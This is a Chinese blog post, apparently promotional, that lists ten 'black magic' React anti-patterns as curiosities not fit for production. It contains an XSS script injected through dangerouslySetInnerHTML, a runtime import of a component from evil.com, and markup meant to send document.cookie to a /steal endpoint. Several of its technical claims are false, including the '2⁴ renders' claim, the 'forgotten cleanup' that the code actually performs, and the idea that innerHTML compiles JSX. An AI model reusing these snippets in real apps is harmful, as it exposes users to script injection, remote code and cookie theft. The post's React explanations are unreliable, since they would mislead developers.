邪修 React 10 连击｜无限渲染黑洞、远程木马、HOC 套娃

邪修 React，10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇，切勿真用！

⚠️ 每条都可能：死循环、内存泄漏、调试器崩溃、Fiber 打结、面试管鼓掌

面试炫技 OK，项目敢用就等死！

1️⃣ 单组件一行毁灭

export default () => <div dangerouslySetInnerHTML={{ __html: '<script>alert(1)</script>' }} />;

dangerouslySetInnerHTML 直接塞脚本，XSS 一键触发。

2️⃣ 无限渲染黑洞

export default function App() {
  const [n, setN] = React.useState(0);
  React.useEffect(() => setN(n + 1), [n]); // 每渲染一次再渲染
  return <h1>{n}</h1>;
}

没有终止条件，Fiber 在 16 ms 内无限工作，浏览器秒卡死。

3️⃣ 全局 Context 污染

const EvilCtx = React.createContext();
export default function Root() {
  return (
    <EvilCtx.Provider value={window}>
      <App />
    </EvilCtx.Provider>
  );
}

把 window 塞进 Context，任何地方都能直接操作 DOM，破坏单向数据流。

4️⃣ 动态远程组件木马

const RemoteComp = React.lazy(() => import('https://evil.com/comp.jsx'));
export default () => (
  <Suspense fallback="loading...">
    <RemoteComp />
  </Suspense>
);

运行时拉取远程组件，Webpack 拦不住，CSP 形同虚设。

5️⃣ key={Math.random()} 性能核弹

function List() {
  return [1, 2, 3].map(i => <li key={Math.random()}>{i}</li>);
}

每次渲染随机 key，DOM 全部重建，性能瞬间归零。

6️⃣ 深度嵌套 useState 黑洞

function useEvil(obj) {
  const [state, setState] = React.useState(obj);
  return [state, setState];
}
const [s] = useEvil({ a: { b: { c: { d: 1 } } } });

四层嵌套对象，每次更新触发 2⁴ 次渲染。

7️⃣ 自定义 Hook 副作用地狱

function useEvil() {
  React.useEffect(() => {
    const id = setInterval(() => console.log('🔥'), 1);
    return () => clearInterval(id); // 忘记清理 → 内存泄漏
  });
}

1 ms 定时器永不清理，Node 直接 OOM。

8️⃣ 通配符路由炸弹

<Routes>
  <Route path="*" element={<Lazy404 />} /> {/* 任意路径都加载 */}
</Routes>

任何 404 都懒加载，首屏雪崩。

9️⃣ 高阶组件（HOC）套娃

const withLog = C => props => <C {...props} />;
const withEvil = C => withLog(withLog(withLog(C)));
export default withEvil(App);

三层 HOC 套娃，props 链路 3 倍长，调试器原地爆炸。

🔟 运行时 JSX 编译木马

const evil = `
  <div onClick={() => fetch('/steal?cookie=' + encodeURIComponent(document.cookie))}>
    点我
  </div>
`;
ReactDOM.render(
  React.createElement('div', { dangerouslySetInnerHTML: { __html: evil } }),
  document.getElementById('root')
);

运行时把字符串当 JSX，绕过 ESLint 和静态扫描。

邪修口诀

“Fiber 当陀螺，Context 当黑洞；

Hooks 当迷宫，渲染当烟花。”

PS

想要正经的学习 React.JS ，从编程狮的《React 入门课程》开始！